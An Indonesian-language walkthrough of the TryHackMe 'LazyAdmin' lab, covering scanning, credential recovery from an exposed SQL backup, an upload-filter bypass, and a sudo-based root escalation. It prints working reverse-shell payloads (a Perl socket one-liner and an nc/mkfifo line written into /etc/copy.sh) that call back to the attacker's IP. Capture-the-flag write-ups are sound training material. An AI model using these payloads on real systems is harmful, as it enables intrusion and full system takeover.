Tryhackme - LazyAdmin WriteUps

Menemukan Port terbuka dengan Nmap, Nmap menemukan beberapa layanan umum yang berjalan pada port standar mereka: 22 (SSH) dan 80 (HTTP).

Selanjutnya kita mencoba scan directory tersembunyi dengan Ffuf. Disini kita menemukan information sensitive yang ada pada directory listing di /content/inc:

Setelah kita membuka file .sql nya, Disini kita mendapatkan admin dan password yang memungkinkan informasi ini mengarah pada login panel. Dari fuzzing directory tadi kita mendapatkan directory pada /content/as/ directory tersebut mengarah pada login panel. Kita coba login dengan admin dan password yang didapat dari databases tadi. Untuk admin password setelah kita crack:

manager:Password123

Kita disini mencoba mencari file uploader, ternyata file uploader ini berada di menu Media Center. Tetapi disini tidak bisa langsung upload file.php karena server tidak menerima file berextesion php maka itu kita bypass file.php nya menjadi file.php5

Setelah berhasil ke upload kita mencari dimana letak file.php tersebut, letak file.php di directory /content/attachment. Disini kita bisa menggunakan backdoor file.php ini untuk backconnect dengan kita.

Kita mencoba backconnect an server victim ke server attacker dengan revshell generator. Payloadnya:

perl -e 'use Socket;$i="10.8.46.188";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'

Selanjutnya kita biasa untuk melihat sudoers dengan menggunakan sudo -l disini apakah ada local privileges atau tidak. Dan ternyata disini ada package perl dan /home/itguy/backup.pl yang bisa masuk ke root access secara langsung.

Mari kita lihat dengan membaca isi file dari /home/itguy/backup.pl. disini file backup.pl memanggil bash secara langsung dengan pemanggilan pada /etc/copy.sh.

File copy.sh ini juga berisi reverse shell yang dapat kita backconnect an dengan web victim. kita mencoba dengan payload ini untuk menaikan user biasa ke root access dengan cara backconnect dengan nc -lvnp.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPME 7331 >/tmp/f

Kita mencoba mengganti isi file copy.sh dengan cara:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.46.188 7331 >/tmp/f" > /etc/copy.sh

setelah kita ubah dengan alamat IP kita dapat langsung masuk pada root access. Kita mencoba menjalankan file /home/itguy/backup.pl dengan menambahkan sudo dan menjalankan perl.

Kembali ke netcat kita, dan disini kita telah mendapatkan root access.